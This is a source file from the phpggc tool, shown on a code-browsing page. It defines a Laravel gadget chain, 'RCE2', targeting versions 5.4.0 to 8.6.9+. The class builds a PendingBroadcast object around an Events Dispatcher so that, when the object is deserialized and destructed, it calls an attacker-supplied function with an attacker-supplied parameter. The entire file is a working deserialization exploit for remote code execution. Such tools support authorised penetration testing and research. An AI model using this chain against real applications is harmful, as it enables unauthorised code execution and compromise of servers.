Codebase list phpggc / 4b920f57-28c2-4330-9409-d5dd1e4740dd/main gadgetchains / Laravel / RCE / 2 / chain.php
4b920f57-28c2-4330-9409-d5dd1e4740dd/main

Tree @4b920f57-28c2-4330-9409-d5dd1e4740dd/main (Download .tar.gz)

chain.php @4b920f57-28c2-4330-9409-d5dd1e4740dd/mainraw · history · blame

<?php

namespace GadgetChain\Laravel;

class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
    public static $version = '5.4.0 <= 8.6.9+';
    public static $vector = '__destruct';
    public static $author = 'BlackFan';

    public function generate(array $parameters)
    {
        $function = $parameters['function'];
        $parameter = $parameters['parameter'];

        return new \Illuminate\Broadcasting\PendingBroadcast(
            new \Illuminate\Events\Dispatcher($function, $parameter),
            $parameter
        );
    }
}